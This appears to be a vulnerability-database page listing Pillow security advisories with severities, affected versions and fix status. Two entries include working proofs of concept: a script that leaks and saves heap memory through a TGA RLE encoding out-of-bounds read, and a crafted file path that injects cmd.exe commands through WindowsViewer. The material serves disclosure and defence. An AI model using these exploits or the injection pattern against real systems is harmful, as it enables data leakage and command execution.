```
A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
### PoC
#### Minimal ASAN trigger
```python
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
```
Observed on local Pillow `12.3.0.dev0` ASAN target:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
```
#### Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
```python
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")
```
Observed on installed Pillow `12.2.0`:
```text
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
```
### Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
`57343`-byte adjacent heap window to be incorporated into one output file. | ||
| medium | 11.2.1 | 12.2.0 | Pillow has a heap buffer overflow with nested list coordinates Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1. | fixed | osv:GHSA-5xmw-vc9v-4wf2 |
| medium | any | 12.3.0 | Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path ### 1. Summary
`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most
importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow
injection of arbitrary `cmd.exe` commands.
The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.
The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this
protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.
---
### 2. Vulnerable Code
**File:** `src/PIL/ImageShow.py`, lines 133–150
```python
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
```
**Contrast with macOS — SAFE (line 164–168):**
```python
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
```
**Cross-platform summary:**
| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |
|----------|----------------|------------------|---------------|-------|
| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |
| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |
| Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |
`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
---
### 3. Proof of Concept
A full working PoC is at `poc_pillow_injection.py`. Key parts:
**Part A — Injection string construction (static, no execution):**
```python
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
```
**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**
```python
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
```
--- | ||
| medium | any | ef98b3510e3e4f14b547762764813d7e5ca3c5a4 | PYSEC-2025-61: advisory Pillow is a Python imaging library. In versions 11.2.0 to before 11.3.0, there is a heap buffer overflow when writing a sufficiently large (>64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space. This only affects users who save untrusted data as a compressed DDS image. This issue has been patched in version 11.3.0. | fixed | osv:PYSEC-2025-61 |
| medium | any | 1fe1bb49c452b0318cad12ea9d97c3bef188e9a7 | PYSEC-2023-227: advisory An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. | fixed | osv:PYSEC-2023-227 |
| medium | any | 10.0.1 | PYSEC-2023-175: advisory Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2. | fixed | osv:PYSEC-2023-175 |
| medium | any | 9.0.0 | PYSEC-2022-9: advisory path_getbbox in path.c in Pillow before 9.0.0 has a buffer over-read during initialization of ImagePath.Path. | fixed | osv:PYSEC-2022-9 |
| medium | any | 9.0.0 | PYSEC-2022-8: advisory path_getbbox in path.c in Pillow before 9.0.0 improperly initializes ImagePath.Path. | fixed | osv:PYSEC-2022-8 |
| medium | 9.1.0 | 9.1.1 | PYSEC-2022-43145: advisory libImaging/TgaRleDecode.c in Pillow 9.1.0 has a heap buffer overflow in the processing of invalid TGA image files. | fixed | osv:PYSEC-2022-43145 |
| medium | any | 2444cddab2f83f28687c7c20871574acbb6dbcf3 | PYSEC-2022-42980: advisory Pillow before 9.3.0 allows denial of service via SAMPLESPERPIXEL. | fixed | osv:PYSEC-2022-42980 |
| medium | any | 11918eac0628ec8ac0812670d9838361ead2d6a4 | PYSEC-2022-42979: advisory Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). | fixed | osv:PYSEC-2022-42979 |
| medium | any | 9.0.1 | PYSEC-2022-168: advisory Pillow before 9.0.1 allows attackers to delete files because spaces in temporary pathnames are mishandled. | fixed | osv:PYSEC-2022-168 |
| medium | any | 9.0.0 | PYSEC-2022-10: advisory PIL.ImageMath.eval in Pillow before 9.0.0 allows evaluation of arbitrary expressions, such as ones that use the Python exec method. | fixed | osv:PYSEC-2022-10 |
| medium | any | 8.2.0 | PYSEC-2021-94: advisory An issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data. | fixed | osv:PYSEC-2021-94 |
| medium | any | 8.2.0 | PYSEC-2021-93: advisory An issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \r and \n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening. | fixed | osv:PYSEC-2021-93 |
| medium | any | 8.2.0 | PYSEC-2021-92: advisory An issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load. | fixed | osv:PYSEC-2021-92 |
| medium | 4.3.0 | 8.1.0 | PYSEC-2021-71: advisory In Pillow before 8.1.0, SGIRleDecode has a 4-byte buffer over-read when decoding crafted SGI RLE image files because offsets and length tables are mishandled. | fixed | osv:PYSEC-2021-71 |
| medium | any | 8.1.0 | PYSEC-2021-70: advisory In Pillow before 8.1.0, TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. | fixed | osv:PYSEC-2021-70 |
| medium | any | 8.1.0 | PYSEC-2021-69: advisory In Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations. | fixed | osv:PYSEC-2021-69 |
| medium | any | 8.1.1 | PYSEC-2021-42: advisory Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large. | fixed | osv:PYSEC-2021-42 |
| medium | any | 8.1.1 | PYSEC-2021-41: advisory Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large. | fixed | osv:PYSEC-2021-41 |
| medium | any | 8.1.1 | PYSEC-2021-40: advisory Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large. | fixed | osv:PYSEC-2021-40 |
| medium | any | 8.1.1 | PYSEC-2021-39: advisory An issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in SGIRleDecode.c. | fixed | osv:PYSEC-2021-39 |
| medium | any | 8.1.1 | PYSEC-2021-38: advisory An issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex. | fixed | osv:PYSEC-2021-38 |
| medium | any | 8.1.1 | PYSEC-2021-37: advisory An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is an out-of-bounds read in TiffreadRGBATile via invalid tile boundaries. | fixed | osv:PYSEC-2021-37 |
| medium | any | 8.1.1 | PYSEC-2021-36: advisory An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size. | fixed | osv:PYSEC-2021-36 |
| medium | any | 8.1.1 | PYSEC-2021-35: advisory An issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654. | fixed | osv:PYSEC-2021-35 |
| medium | any | 8.3.0 | PYSEC-2021-331: advisory Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c. | fixed | osv:PYSEC-2021-331 |
| medium | any | 9e08eb8f78fdfd2f476e1b20b7cf38683754866b | PYSEC-2021-317: advisory The package pillow from 0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function. | fixed | osv:PYSEC-2021-317 |
| medium | any | 8.2.0 | PYSEC-2021-139: advisory An issue was discovered in Pillow before 8.2.0. PSDImagePlugin.PsdImageFile lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on Image.open prior to Image.load. | fixed | osv:PYSEC-2021-139 |
| medium | any | 8.2.0 | PYSEC-2021-138: advisory An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. | fixed | osv:PYSEC-2021-138 |
| medium | any | 8.2.0 | PYSEC-2021-137: advisory An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la. | fixed | osv:PYSEC-2021-137 |
| medium | any | a09acd0decd8a87ccce939d5ff65dab59e7d365b | PYSEC-2020-84: advisory libImaging/FliDecode.c in Pillow before 6.2.2 has an FLI buffer overflow. | fixed | osv:PYSEC-2020-84 |
| medium | any | 93b22b846e0269ee9594ff71a72bec02d2bea8fd | PYSEC-2020-83: advisory libImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow. | fixed | osv:PYSEC-2020-83 |
| medium | any | a79b65c47c7dc6fe623aadf09aa6192fc54548f3 | PYSEC-2020-82: advisory libImaging/SgiRleDecode.c in Pillow before 6.2.2 has an SGI buffer overflow. | fixed | osv:PYSEC-2020-82 |
| medium | any | 4e2def2539ec13e53a82e06c4b3daf00454100c4 | PYSEC-2020-81: advisory libImaging/TiffDecode.c in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc. | fixed | osv:PYSEC-2020-81 |
| medium | any | 7.1.0 | PYSEC-2020-80: advisory In libImaging/SgiRleDecode.c in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than CVE-2020-5311. | fixed | osv:PYSEC-2020-80 |
| medium | any | 7.0.0 | PYSEC-2020-79: advisory In libImaging/Jpeg2KDecode.c in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file. | fixed | osv:PYSEC-2020-79 |
| medium | any | 46f4a349b88915787fea3fb91348bb1665831bbb | PYSEC-2020-78: advisory In Pillow before 7.1.0, there are two Buffer Overflows in libImaging/TiffDecode.c. | fixed | osv:PYSEC-2020-78 |
| medium | any | 6a83e4324738bb0452fbe8074a995b1c73f08de7 | PYSEC-2020-77: advisory In libImaging/PcxDecode.c in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where state->shuffle is instructed to read beyond state->buffer. | fixed | osv:PYSEC-2020-77 |
| medium | any | 7.1.0 | PYSEC-2020-76: advisory Pillow before 7.1.0 has multiple out-of-bounds reads in libImaging/FliDecode.c. | fixed | osv:PYSEC-2020-76 |
| medium | any | 6.2.2 | PYSEC-2020-172: advisory There is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer. | fixed | osv:PYSEC-2020-172 |
| medium | any | 6.2.0 | PYSEC-2019-110: advisory An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image. | fixed | osv:PYSEC-2019-110 |
| medium | 2.5.0 | 3.1.2 | PYSEC-2017-92: advisory Heap-based buffer overflow in the j2k_encode_entry function in Pillow 2.5.0 through 3.1.1 allows remote attackers to cause a denial of service (memory corruption) via a crafted Jpeg2000 file. | fixed | osv:PYSEC-2017-92 |
| medium | any | 3.3.2 | PYSEC-2016-9: advisory Pillow before 3.3.2 allows context-dependent attackers to execute arbitrary code by using the "crafted image file" approach, related to an "Insecure Sign Extension" issue affecting the ImagingNew in Storage.c component. | fixed | osv:PYSEC-2016-9 |
| medium | any | 3.3.2 | PYSEC-2016-8: advisory Pillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the "crafted image file" approach, related to an "Integer Overflow" issue affecting the Image.core.map_buffer in map.c component. | fixed | osv:PYSEC-2016-8 |
| medium | any | 4e0d9b0b9740d258ade40cce248c93777362ac1e | PYSEC-2016-7: advisory Integer overflow in the ImagingResampleHorizontal function in libImaging/Resample.c in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow. | fixed | osv:PYSEC-2016-7 |
| medium | any | 893a40850c2d5da41537958e40569c029a6e127b | PYSEC-2016-6: advisory Buffer overflow in the ImagingFliDecode function in libImaging/FliDecode.c in Pillow before 3.1.1 allows remote attackers to cause a denial of service (crash) via a crafted FLI file. | fixed | osv:PYSEC-2016-6 |
| medium | any | 6dcbf5bd96b717c58d7b642949da8d323099928e | PYSEC-2016-5: advisory Buffer overflow in the ImagingLibTiffDecode function in libImaging/TiffDecode.c in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file. | fixed | osv:PYSEC-2016-5 |
| medium | any | ae453aa18b66af54e7ff716f4ccb33adca60afd4 | PYSEC-2016-19: advisory Buffer overflow in the ImagingPcdDecode function in PcdDecode.c in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file. | fixed | osv:PYSEC-2016-19 |
| medium | any | 2.7.0 | PYSEC-2015-16: advisory Pillow before 2.7.0 allows remote attackers to cause a denial of service via a compressed text chunk in a PNG image that has a large size when it is decompressed. | fixed | osv:PYSEC-2015-16 |
| medium | any | 2.5.3 | PYSEC-2015-15: advisory The Jpeg2KImagePlugin plugin in Pillow before 2.5.3 allows remote attackers to cause a denial of service via a crafted image. | fixed | osv:PYSEC-2015-15 |
| medium | any | 2.5.0 | PYSEC-2014-87: advisory Python Image Library (PIL) 1.1.7 and earlier and Pillow 2.3 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py. | fixed | osv:PYSEC-2014-87 |
| medium | any | 4e9f367dfd3f04c8f5d23f7f759ec12782e10ee7 | PYSEC-2014-23: advisory The (1) JpegImagePlugin.py and (2) EpsImagePlugin.py scripts in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 uses the names of temporary files on the command line, which makes it easier for local users to conduct symlink attacks by listing the processes. | fixed | osv:PYSEC-2014-23 |
| medium | any | 4e9f367dfd3f04c8f5d23f7f759ec12782e10ee7 | PYSEC-2014-22: advisory The (1) load_djpeg function in JpegImagePlugin.py, (2) Ghostscript function in EpsImagePlugin.py, (3) load function in IptcImagePlugin.py, and (4) _copy function in Image.py in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 do not properly create temporary files, which allow local users to overwrite arbitrary files and obtain sensitive information via a symlink attack on the temporary file. | fixed | osv:PYSEC-2014-22 |
| medium | any | 205e056f8f9b06ed7b925cf8aa0874bc4aaf8a7d | PYSEC-2014-10: advisory PIL/IcnsImagePlugin.py in Python Imaging Library (PIL) and Pillow before 2.3.2 and 2.5.x before 2.5.2 allows remote attackers to cause a denial of service via a crafted block size. | fixed | osv:PYSEC-2014-10 |
| medium | c58d2817bc891c26e6b8098b8909c0eb2e7ce61b | 9887544fafcd13cc8afcfa0c6d0f2e6facc1a8b8 | Segv on unknown address in jpeg_read_scanlines OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50217
https://pillow.readthedocs.io/en/stable/releasenotes/9.3.0.html#decode-jpeg-compressed-blp1-data-in-original-mode
```
Crash type: Segv on unknown address
Crash state:
jpeg_read_scanlines
ImagingJpegDecode
_decode
```
| fixed | osv:OSV-2022-715 |
| medium | bb2016794f1f9bf9e4726727080e1beb789823fb | f7363c1091c70356d92e56abfca6b65bef9e7b26 | Invalid-free in _dealloc OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=52587
```
Crash type: Invalid-free
Crash state:
_dealloc
_Py_DECREF
frame_dealloc
```
| fixed | osv:OSV-2022-1074 |
| medium | any | 9.0.0 | Out-of-bounds Read in Pillow path_getbbox in path.c in Pillow before 9.0.0 has a buffer over-read during initialization of ImagePath.Path. | fixed | osv:GHSA-xrcv-f9gm-v42c |
| medium | any | 3.3.2 | Pillow Integer overflow in Map.c Pillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the "crafted image file" approach, related to an "Integer Overflow" issue affecting the `Image.core.map_buffer` in `map.c` component. | fixed | osv:GHSA-rwr3-c2q8-gm56 |
| medium | any | 2.3.1 | Pillow Temporary file name leakage The (1) JpegImagePlugin.py and (2) EpsImagePlugin.py scripts in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 uses the names of temporary files on the command line, which makes it easier for local users to conduct symlink attacks by listing the processes. | fixed | osv:GHSA-r854-96gq-rfg3 |
| medium | any | 9.0.0 | Improper Initialization in Pillow Pillow is the friendly PIL (Python Imaging Library) fork. `path_getbbox` in `path.c` in Pillow before 9.0.0 improperly initializes `ImagePath.Path`. | fixed | osv:GHSA-pw3c-h7wp-cvhx |
| medium | any | 8.1.2 | Uncontrolled Resource Consumption in pillow ### Impact
_Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large._
### Patches
_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._
### Workarounds
_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._
### References
https://nvd.nist.gov/vuln/detail/CVE-2021-27921
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [example link to repo](http://example.com)
* Email us at [example email address](mailto:[email protected]) | fixed | osv:GHSA-jgpv-4h4c-xhw3 |
| medium | 5.1.0 | 8.2.0 | Insufficient Verification of Data Authenticity in Pillow An issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data. | fixed | osv:GHSA-hjfx-8p6c-g7gx |
| medium | any | 3.1.1 | Pillow Buffer overflow in ImagingLibTiffDecode Buffer overflow in the `ImagingLibTiffDecode` function in `libImaging/TiffDecode.c` in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file. | fixed | osv:GHSA-hggx-3h72-49ww |
| medium | 4.3.0 | 8.1.0 | Pillow Out-of-bounds Read In Pillow before 8.1.0, SGIRleDecode has a 4-byte buffer over-read when decoding crafted SGI RLE image files because offsets and length tables are mishandled. | fixed | osv:GHSA-hf64-x4gq-p99h |
| medium | 5.1.0 | 8.1.1 | Regular Expression Denial of Service (ReDoS) in Pillow An issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex. | fixed | osv:GHSA-9hx2-hgq2-2g4f |
| low | any | 9.0.0 | Infinite loop in Pillow JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder.
If the EOF marker is not detected as such however, this could lead to an infinite loop where JpegImagePlugin keeps trying to end the file. | fixed | osv:GHSA-4fx9-vc88-q2xc |
| critical | any | 6.2.2 | Integer overflow in Pillow `libImaging/TiffDecode.c` in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc. | fixed | osv:GHSA-vcqg-3p29-xw73 |
| critical | any | 6.2.2 | Buffer Copy without Checking Size of Input in Pillow `libImaging/SgiRleDecode.c` in Pillow before 6.2.2 has an SGI buffer overflow. | fixed | osv:GHSA-r7rm-8j6h-r933 |
| critical | any | 6.2.2 | PCX P mode buffer overflow in Pillow libImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow. | fixed | osv:GHSA-p49h-hjvm-jg3h |
| critical | any | 3.1.1 | Pillow Integer overflow in ImagingResampleHorizontal Integer overflow in the `ImagingResampleHorizontal` function in `libImaging/Resample.c` in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow. | fixed | osv:GHSA-hvr8-466p-75rh |
| critical | any | 9.0.1 | Arbitrary expression injection in Pillow `PIL.ImageMath.eval` in Pillow before 9.0.0 allows evaluation of arbitrary expressions, such as ones that use the Python exec method `ImageMath.eval("exec(exit())")`.
While Pillow 9.0.0 restricted top-level builtins available to PIL.ImageMath.eval(), it did not prevent builtins available to lambda expressions. These are now also restricted in 9.0.1. | fixed | osv:GHSA-8vj2-vxx3-667w |
| critical | any | 2.5.0 | Pillow command injection Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.5.0 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py. | fixed | osv:GHSA-8m9x-pxwq-j236 |
| critical | any | 8.3.0 | Buffer Overflow in Pillow Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c. | fixed | osv:GHSA-7534-mm45-c74v |
| critical | any | 8.1.1 | Out of bounds write in Pillow An issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654. | fixed | osv:GHSA-57h3-9rgr-c24m |
| critical | any | 7.1.0 | Out-of-bounds read in Pillow In libImaging/SgiRleDecode.c in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than CVE-2020-5311. | fixed | osv:GHSA-43fq-w8qq-v88h |
| critical | any | 10.2.0 | Arbitrary Code Execution in Pillow Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). | fixed | osv:GHSA-3f63-hfp8-52jq |
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/pypi/pillow| osv:GHSA-vjc4-5qp5-m44j |
| fixed |
| osv:GHSA-phj9-mv4w-65pm |
| fixed |
| osv:GHSA-jjj6-mw9f-p565 |
| fixed |
| osv:GHSA-9hw9-ch79-4vh6 |
| fixed |
| osv:GHSA-8v84-f9pq-wr9x |
| fixed |
| osv:GHSA-6r8x-57c9-28j4 |
| fixed |
| osv:GHSA-62p4-gmf7-7g93 |
| fixed |
| osv:GHSA-5x94-69rx-g8h2 |
| fixed |
| osv:GHSA-45hq-cxwh-f6vc |
| osv:PYSEC-2026-3496 |
| fixed |
| osv:PYSEC-2026-3495 |
| fixed |
| osv:PYSEC-2026-3494 |
| fixed |
| osv:PYSEC-2026-3493 |
| fixed |
| osv:GHSA-pg7v-jwj7-p798 |
| fixed |
| osv:GHSA-fj7v-r99m-22gq |
| fixed |
| osv:GHSA-4x4j-2g7c-83w6 |